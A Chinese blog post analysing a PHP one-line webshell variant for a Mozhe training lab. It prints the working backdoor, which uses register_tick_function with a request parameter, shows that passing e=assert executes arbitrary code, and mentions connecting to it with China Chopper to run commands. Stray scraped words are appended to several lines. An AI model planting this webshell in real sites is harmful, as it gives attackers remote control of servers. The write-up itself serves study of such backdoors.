WebShell代碼分析溯源(十一)

WebShell代碼分析溯源(十一)php

1、一句話變形馬樣本函數

<?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?>學習

2、代碼分析url

一、調整代碼格式spa

  

二、分析代碼.net

2.一、首先使用REQUEST方法接收url中e參數傳遞的值, 而後執行declare函數和register_tick_function回調函數。沒執行ticks=1行代碼,就執行一次register_tick_function函數中的代碼。blog

注: register_tick_function函數,這是每一個tick上註冊一個執行函數,必需要和declare流程控制機制合併使用。Tick是一個在declare代碼段中解釋器每執行n條低級語句就會發生的事件。n的值是在declare中的directive部分用ticks=n來指定的,在每一個tick中出現的事件是由register_tick_function()來指定的。事件

參考: https://www.php.net/manual/zh/function.register-tick-function.phpget

2.二、register_tick_function能夠看作一個回調函數,第二個參數,就是爲該回調的函數傳參用的,所以能夠構造e=assert,此時就變成了assert($_REQUEST['GET'])。回調函數

3、漏洞環境搭建

一、這裏使用在線學習平臺墨者學院中的實驗環境(WebShell代碼分析溯源(第10題)),地址: https://www.mozhe.cn/bug/detail/b1gyYnp0MVRtVEpoWXV3TEtuMjZSZz09bW96aGUmozhe

二、代碼環境,下載代碼

  

三、分析(上面已經分析過了)

四、使用菜刀鏈接

  

五、執行一些命令

  

相關文章
相關標籤/搜索